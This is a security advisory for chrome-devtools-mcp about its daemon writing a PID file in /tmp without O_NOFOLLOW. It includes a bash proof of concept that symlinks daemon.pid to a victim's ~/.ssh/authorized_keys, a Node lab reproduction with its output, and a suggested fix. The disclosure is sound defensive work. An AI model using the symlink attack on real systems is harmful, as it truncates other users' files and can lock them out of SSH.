VDB
KO
MEDIUM 6.1

GHSA-3pvj-jv98-qhjq

Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory

Details

### Summary

The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`.

Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

### Details

Affected code:

`src/daemon/daemon.ts:38-42`

```ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString()); ```

`src/daemon/utils.ts:49-68`

```ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? `-${sessionId}` : ''; const appName = APP_NAME + suffix;

if (process.env.XDG_RUNTIME_DIR) { return path.join(process.env.XDG_RUNTIME_DIR, appName); }

if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', `${appName}-${uid}`); }

return path.join(os.tmpdir(), appName); } ```

The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID.

Preconditions:

- The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset. - The attacker has any local user account on the same host. - The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode.

### PoC

Realistic POSIX scenario:

```bash # Attacker, before victim starts daemon mode. victim_uid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}" ln -s "/home/victim/.ssh/authorized_keys" \ "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

# Victim later starts daemon mode. chrome-devtools start

# Result: # fs.writeFileSync follows the symlink, so authorized_keys is truncated to # the daemon PID string. ```

Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory:

```js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try { fs.chmodSync(lab, 0o755);

const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', );

const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true});

const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath);

// Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString());

console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "<pid>" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); } ```

Observed output from the lab PoC:

```text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret> [victim ran daemon] victim secret AFTER: <pid> [lstat pidFile] still symlink [outcome] victim file was overwritten via attacker-placed symlink. ```

I can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

### Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session.

Security impact:

- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string. - Availability: critical user configuration files can be corrupted until restored from backup. - Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

- `~/.ssh/authorized_keys`, causing the victim to lose SSH access. - `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup. - Project `.env`, `secrets.json`, license files, or line-oriented config files. - Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing:

```ts import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync( pidFilePath, constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC | constants.O_NOFOLLOW, 0o600, ); writeSync(fd, process.pid.toString()); closeSync(fd); ```

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / chrome-devtools-mcp
Introduced in: 0.20.0 Fixed in: 1.1.0
Fix npm install chrome-devtools-mcp@1.1.0

References